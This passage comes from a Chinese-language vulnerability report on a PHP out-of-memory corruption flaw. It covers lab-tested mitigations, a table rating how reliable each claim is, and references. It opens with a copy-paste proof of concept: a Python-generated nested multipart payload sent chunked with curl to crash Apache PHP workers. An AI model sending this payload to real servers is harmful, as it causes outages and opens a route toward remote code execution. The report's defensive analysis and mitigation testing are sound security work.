PoC 验证(安全自测): 仅在自有授权环境(自建靶机)执行,禁止对任何未授权目标使用。构造思路与第 5 节一致(空文件控件 + 深嵌套字段名放大内存消耗,chunked 传输绕过 post_max_size 前置校验),以下为可直接复制执行的完整命令:
# 1. 在自建靶机上确认当前 worker 状态基线
curl -s -o /dev/null -w "baseline: %{http_code}\n" http://[自建靶机IP]/index.php
# 2. 生成内存压力 multipart 载荷(part 数量按靶机 memory_limit 调整)
python - <<'EOF'
boundary = "----PHPOOM"
part = (f'--{boundary}\r\nContent-Disposition: form-data; '
f'name="f[{{}}][a1][a2][a3][a4][a5][a6][a7][a8][a9]"; filename=""\r\n'
f'Content-Type: application/octet-stream\r\n\r\n\r\n')
body = "".join(part.format(f"k{i}") for i in range(400)) + f"--{boundary}--\r\n"
open("payload.bin", "wb").write(body.encode())
print("payload.bin bytes:", len(body))
EOF
# 3. 发送攻击请求并观察响应(预期 HTTP 500 或连接重置)
curl -s -o /dev/null -w "attack: %{http_code}\n" -X POST -H "Transfer-Encoding: chunked" \
-H "Content-Type: multipart/form-data; boundary=----PHPOOM" \
--data-binary @payload.bin http://[自建靶机IP]/index.php
# 4. 靶机侧确认 worker 崩溃/错误日志(在靶机上执行)
grep "Allowed memory size of" /var/log/apache2/error.log | tail
grep -E "child pid [0-9]+ exit signal (Segmentation fault|11)" /var/log/apache2/error.log | tail
判定标准:请求返回 500/连接重置,且 Apache 错误日志中内存耗尽 fatal 之后相邻出现子进程崩溃记录,即表明部分初始化状态被 teardown 消费、漏洞条件存在,需立即按第 6 节升级修复版本。
9. 临时缓解
以下措施仅为无法立即应用官方修复版本(见第 6 节修复方案)时的临时手段,均非完整缓解(GHSA 原文:"Updating to a PHP release containing the patch to this vulnerability is the only complete mitigation")。其中第 1-4 条直接来自 php.net 官方公告与 GHSA 的缓解建议原文。
1. 强制 memory_limit=-1(官方首要配置缓解,来源:GHSA Mitigation 节):
; php.ini(全局)
memory_limit = -1
必须以应用无法覆盖的方式设置,并重启所有 PHP worker:
# Apache vhost(mod_php)
php_admin_value memory_limit -1
; PHP-FPM pool 配置(如 /etc/php/8.4/fpm/pool.d/www.conf)
php_admin_value[memory_limit] = -1
systemctl restart php8.4-fpm # 或 systemctl restart apache2
设置后逐一检查各 pool、目录级配置(.htaccess/.user.ini/php_admin_value)与应用内 ini_set,确认没有任何位置把有限值设回来(GHSA 原文要求)。注意:该措施移除的是"可控的 PHP 内存上限失败",若底层 mmap() 等分配失败仍可能触及漏洞路径(GHSA 原文警告),且取消内存上限会增加内存耗尽导致的可用性风险。
实测结论(Phase 4,2026-10-22,靶机 php:8.5.11-apache / memory_limit=16M): 有效——以 php_admin_value 强制 memory_limit=-1 后 phase A 请求无 OOM 发生,FIRE_FAILED,漏洞链无法点燃;GHSA 自述的底层 mmap 分配失败残余路径本次实测未证伪(未触发不等于不存在,如实保留)。
2. 压低 post_max_size 并保持 upload_max_filesize 小于它(来源:php.net 公告):
; 应用不需要文件上传时
post_max_size = 8M
; 必须支持上传时
post_max_size = 32M
upload_max_filesize = 30M
注意:单独压 post_max_size 不足以封堵,因为漏洞确认存在绕过该前置校验的 chunked/无长度 multipart 路径(calif.io/GHSA),必须配合第 3 条前端强制限制。
实测结论(Phase 4): 部分有效——Content-Length 变体(phase A 结构)被 PHP 前置校验拒解析,载荷无法进入解析阶段;但 chunked(无 Content-Length)变体完全绕过 post_max_size 前置校验,OOM 照常 FIRE_OK。与 GHSA/calif.io 的绕过描述实测一致,单独依赖本条无效。
3. 在前端/反代对解码后请求体大小做强制限制,并覆盖无 Content-Length 的请求(来源:php.net 公告 "These limits must also cover requests without a usable Content-Length"):
# nginx:限制请求体大小(nginx 对无 Content-Length 的非 chunked 请求默认拒绝,
# chunked 请求体会被完整缓冲并受 client_max_body_size 约束)
client_max_body_size 8m;
# Apache:
LimitRequestBody 8388608
实测结论(Phase 4): 有效——nginx client_max_body_size 8m 与 Apache LimitRequestBody 8388608 对 Content-Length 与 chunked 两种变体均返回 413。边界:攻击者若可直连后端 PHP 端口(绕过前端反代),本条不生效。
4. 若应用完全不使用 multipart 表单,直接在前端阻断 multipart 请求(来源:GHSA-w8hw-w9fx-j79w 缓解节 "If the application does not use multipart form data, block such requests at the frontend"):
# nginx
if ($http_content_type ~* "multipart/form-data") { return 403; }
ModSecurity 等价规则:
SecRule REQUEST_HEADERS:Content-Type "@contains multipart/form-data" \
"id:1002001,phase:1,deny,status:403,msg:'Block multipart (CVE-2026-109618 temporary mitigation)'"
实测结论(Phase 4): 有效——nginx multipart 阻断规则下 phase A/B 双 403;经大小写变换、双 Content-Type、分号空格、URL 编码共 4 种绕过变体测试全部拦截、无绕过。与第 3 条同样存在直连后端端口的边界。
5. 用容器/cgroup 内存上限替代 PHP 自身限制作为可用性边界(来源:GHSA):
# Docker 示例
docker run -m 1g --memory-swap 1g ...
# 或 systemd cgroup
systemctl set-property php8.4-fpm.service MemoryMax=1G
GHSA 原文警告:不要使用 RLIMIT_AS 或 RLIMIT_DATA——达到上限后会导致 mmap() 失败,反而触发漏洞所依赖的分配失败路径;cgroup 杀进程策略应尽量只影响单个 worker(FPM master 会迅速替换被杀的 child,而整组 kill 可能连带 master)。
实测结论(Phase 4): 对漏洞链无预防效果——docker run -m 256m 甚至 -m 24m 均 FIRE_OK(PHP 在 16M Zend 堆即 bailout,远早于内核 OOM killer 介入)。cgroup 内存上限仅为可用性边界(防单 worker 拖垮主机),不构成漏洞缓解。
6. 边界加固(建议性补充): 在 WAF/反代上限制单请求 multipart part 数量与字段名嵌套深度(对应 GHSA 列出的三条 OOM 策略:无长度声明、无限 part 头、空文件控件嵌套名放大)。ModSecurity 可拒绝对请求体中 boundary 分隔符计数异常高的请求(阈值按业务基线设定,不设统一数值)。
实测结论(Phase 4): 有效(提高门槛型)——按 part 数/嵌套深度限制后,phase A(111 parts)与 phase B(291 parts)双 403 BLOCK,1-part 正常上传放行;属攻击成本抬升而非根因消除。
总体实测结论: 官方 "无完整通用配置缓解、修复版本是唯一完整缓解" 的判断实测成立——上述 6 条中无一条能在无边界条件下独立封堵全部载荷变体。
10. 信息可信度说明
| 可信度 | 内容 | 依据 |
|---|---|---|
| 已确认 | CVE-2026-109618 = "RCE via OOM corruption";受影响版本 8.2.x<8.2.35 / 8.3.x<8.3.36 / 8.4.x<8.4.27 / 8.5.x<8.5.12;修复版本 8.2.35/8.3.36/8.4.27/8.5.12;CVSS 4.0 评分 9.2;CWE-416/755/824/1325/1419;mod_php 未授权 RCE 已在默认配置下完整验证;FPM 源码层面易感但无完整 exploit 演示;披露日 2026-10-21 | NVD CVE JSON(services.nvd.nist.gov 实际抓取)、GHSA-w8hw-w9fx-j79w 页面实际抓取、php.net/index.php#2026-10-21-5 公告实际抓取,三者交叉一致 |
| 已确认 | 修复 commit 3584a98bda0f2c0d367255b046798b0d3a221a19,message 明确修复两个 CVE;修复机制为移除 OOM longjmp、改延迟软 OOM + 硬上限 _exit(137);本文引用的文件名/函数名(zend_alloc.c、rfc1867.c、php_variables.c、zend_hash.c、zend_mm_check_limit、ZEND_HAS_OOM、memory_hard_limit_percent 等) | GitHub API 抓取 commit 元数据 + 实际下载 661KB diff 并阅读切片(CM-1 diff 优先);PHP-8.4 回移 commit 506e87fa 经 compare API 确认在 php-8.4.27 tag 内 |
| 已确认 | _zend_hash_str_add_or_update_i 先增 nNumUsed 后分配 key 的部分初始化缺陷、空 filename 控件内存放大、chunked/HTTP2 绕过 post_max_size、mod_php/FPM 关闭路径差异(sapi_apache2.c:665、fpm_main.c:1826) |
calif.io/php2shell 原文实际抓取的源码分析(含代码片段引用);与修复 diff 中 rfc1867.c 新增 post_max_size 强制校验、php_variables.c 新增 OOM 检查互相印证 |
| 已确认 | 发现方 Calif+OpenAI+Wiz | GHSA 页面 Credits 栏实际抓取(lcfr-hax / sagitzadik-wiz / tomash-areion / amyb-oai 为 reporter);calif.io 原文自述 |
| 推断 | 漏洞自 2004 年 Stefan Esser 首次发现同类 memory-limit 漏洞、2020 年 bug #78876、2024 年 OSTIF/Quarkslab 审计的历史脉络 | calif.io 原文时间线;calif.io 发现者自述单源,未交叉验证 |
| 推断 | 该漏洞家族部分代码路径可追溯至 PHP 5.4.0(其中 _zend_hash_str_add_or_update_i 路径为 PHP >= 7.3);EOL 版本(5.4-8.1)的实际可利用性 |
推断逻辑:calif.io 单方源码分析结论;NVD/GHSA 仅列出 8.2-8.5 四个受支持分支,未对 EOL 版本给出 affected 声明 |
| 推断 | FrankenPHP 很可能易受应用无关攻击;LSAPI 可能存在应用相关 exploit | 推断逻辑:GHSA 原文明确标注为 source analysis 结论("likely susceptible" / "likely but unvalidated") |
| 已确认 | 第 5 节 Chain A 端到端实测:OOM bailout 留下 stale bucket → mod_php 无条件 teardown 消费至 pDestructor →(Lab-Assisted)跳转 libc system,marker 文件以 www-data 属主写入容器 /tmp/php-rce-lab;negative 对照无副作用、abort 控制精确命中 abort@plt | Phase 3b run 20261022T013356Z 封存单 133 文件(sha256sum -c 132/132 OK、verify_run.py 复验 "Proven - Lab-Assisted RCE")+ Phase 3c 第二轮实地复核 PASS(D:\X\CVE-2026-109618_verify.md,含 system 地址 nm + maps 独立复算);边界如实:非默认 allocator + gdb 代际校准,非 portable 利用 |
| 已确认 | 第 9 节六条缓解措施的实测结论(memory_limit=-1 有效;post_max_size 部分有效且被 chunked 变体绕过;前端 body 限制与 multipart 阻断有效但有直连后端边界;cgroup 上限无预防效果;part 数/嵌套限制为提高门槛型;官方 "无完整通用配置缓解" 实测成立) | Phase 4 缓解实测(2026-10-22,同靶机环境逐条实装后以真实 payload 攻击,并测试大小写变换/双 Content-Type/分号空格/URL 编码 4 种绕过变体) |
| 已确认 | 第 5 节攻击请求报文块的结构(multipart 边界、part 头格式、111 parts、Content-Length=16999) | 按 dinosn 仓库 Chain A phase A 实测封存日志重建,字节数经 python len() 实算,非凭空构造 |
| 推断 | Wiz 博客的影响归属表把 "Upload-progress unserializer use-after-free" 与内存泄露演示归在 CVE-2026-109618 行下 | 推断逻辑:Wiz 原文表格如此划分,但与 PHP 官方 GHSA(CVE 分配方 security@php.net)、NVD 描述、php.net 公告(109618=OOM corruption,109619=stale global state)口径冲突;本文以官方分配方口径为准,Wiz 口径在此留痕,不采信为本文结论 |
| 未知 | 是否存在 portable(无调试器校准、默认 allocator)的公开完整 RCE PoC;该漏洞是否已出现在野利用 | 尝试检索了 GitHub 仓库搜索(131 个 php2shell 相关仓库,当日出现的内容多与官方披露机制不一致,不可信)、exploit-db(无条目)、calif.io/Wiz 原文(明确仅私下提交 PoC);dinosn/php-cve-2026-10961x-lab-poc 的 Chain A 已于 2026-10-22 在 Kali 本地实测复现成功,但为 Lab-Assisted(gdb 代际校准 + USE_ZEND_ALLOC=0),不构成 portable PoC,其 CVE 归属仍为推断;iQingshan/php2shell(GitHub API 核验 created_at=2026-10-21、15 stars)自称 var_hash resize UAF exploit,需部署自带 remote_app.php(应用侧 gadget 类 CachedData),与官方 stock 应用认证前 RCE 场景不同,归属未确认、未经本地实测,仅作参考 |
| 推断 | dinosn 仓库 Chain A(stale bucket)与本 CVE 的 OOM corruption 机制对应、Chain B(dangling PS(http_session_vars) reference)与 CVE-2026-109619 的 stale global state 机制对应;Chain A 已本地实测复现成立(行为与本 CVE 官方机制逐点吻合),但 "Chain A = CVE-2026-109618" 的归属本身仍为推断 | 推断逻辑:机制描述与 GHSA/calif.io/修复 diff 逐点吻合,且 Chain A 实测行为(OOM bailout → stale bucket → teardown 消费至 pDestructor)与本 CVE 官方 "RCE via OOM corruption" 机制一致,但仓库 README 自述不保证 CVE 归属,无官方确认;php_basic_early_rinit() 清零 BG(serialize)/BG(unserialize) 的 diff 证据与 Chain B 方向一致,但官方公告将该类路径的缓解(session.upload_progress.enabled=0)归在 109619 名下 |
| 未知 | Heartbleed/Log4Shell 级别的影响类比是否成立 | 该类比出自 Wiz 原文("We believe PHP2Shell could mark a similar turning point"),为 Wiz 单方观点,本文不作同等危害结论 |
11. 参考链接表
| 类型 | URL | 状态 |
|---|---|---|
| Advisory(官方安全公告) | GHSA-w8hw-w9fx-j79w | 已验证 HTTP 200;PHP 官方 GHSA,含受影响版本、OOM 策略、SAPI 易感性、缓解建议 |
| Advisory(官方发布说明) | PHP October 2026 Security Release | 已验证 HTTP 200;含缓解措施原文 |
| Commit(修复 commit) | 3584a98b | 已验证 HTTP 200;"Avoid state corruption via bailout",Fix GHSA-w8hw-w9fx-j79w,diff 已读 |
| Commit(修复回移 commit) | 506e87fa | 已验证 HTTP 200;PHP-8.4 分支回移,包含于 php-8.4.27 tag |
| Download(修复版下载) | php-8.4.27.tar.gz | 已验证 HTTP 200;8.4.27 tarball;php-8.2.35/8.3.36/8.5.12.tar.gz 同路径均已验证 HTTP 200 |
| NVD 记录 | CVE-2026-109618 | CVE JSON API 已实际抓取(NVD API 200) |
| Advisory(姊妹漏洞公告) | GHSA-6wmf-4rv5-p3rp | 已验证 HTTP 200;CVE-2026-109619,本文不展开 |
| 技术深度分析(发现方) | Calif:PHP2Shell | 已实际抓取阅读(HTTP 200);含源码级机制分析 |
| 技术分析(发现方) | Wiz:PHP2Shell PHP RCE | 已实际抓取阅读(HTTP 200);含演示影响与调查信号 |
| 补丁分支(EOL 回移) | PHP 7.4 回移分支 | 已验证 HTTP 200;PHP 7.4 最小回移(php.net 公告给出) |
| 补丁分支(EOL 回移) | PHP 8.0 回移分支 | 已验证 HTTP 200;PHP 8.0 最小回移(php.net 公告给出) |
| 补丁分支(EOL 回移) | PHP 8.1 回移分支 | 已验证 HTTP 200;PHP 8.1 最小回移(php.net 公告给出) |
| 第三方运营信息 | NCSC-NL/php2shell | 已实际抓取 README(HTTP 200);NCSC-NL 运维指南(TLP:CLEAR) |
| 第三方PoC(Chain A 已实测) | dinosn/php-cve-2026-10961x-lab-poc | 已验证 HTTP 200;Chain A 已于 2026-10-22 在 Kali 本地实测复现(Lab-Assisted,run_id 20261022T013356Z,Phase 3c 实地验证 PASS);非披露方账号、披露前一日创建;README 自述不证明 CVE 归属与可移植性,Chain A/B 与 CVE 编号对应关系仍属机制推断;Chain A 实测证据见第 5、10 节,Chain B 证据归 CVE-2026-109619 文档不在本文引用 |
| 第三方PoC(声称) | iQingshan/php2shell | HTTP 200(GitHub API 核验:created_at=2026-10-21T09:29:10Z、15 stars);含 Dockerfile(php:8.5-apache prefork)、remote_app.php(应用侧 gadget 类 CachedData + unserialize($_POST['cook']))与 var_hash UAF exploit 脚本;需部署自带 remote_app.php,与官方 stock 应用认证前 RCE 场景不同;归属未确认,未本地实测,仅作参考不作证据 |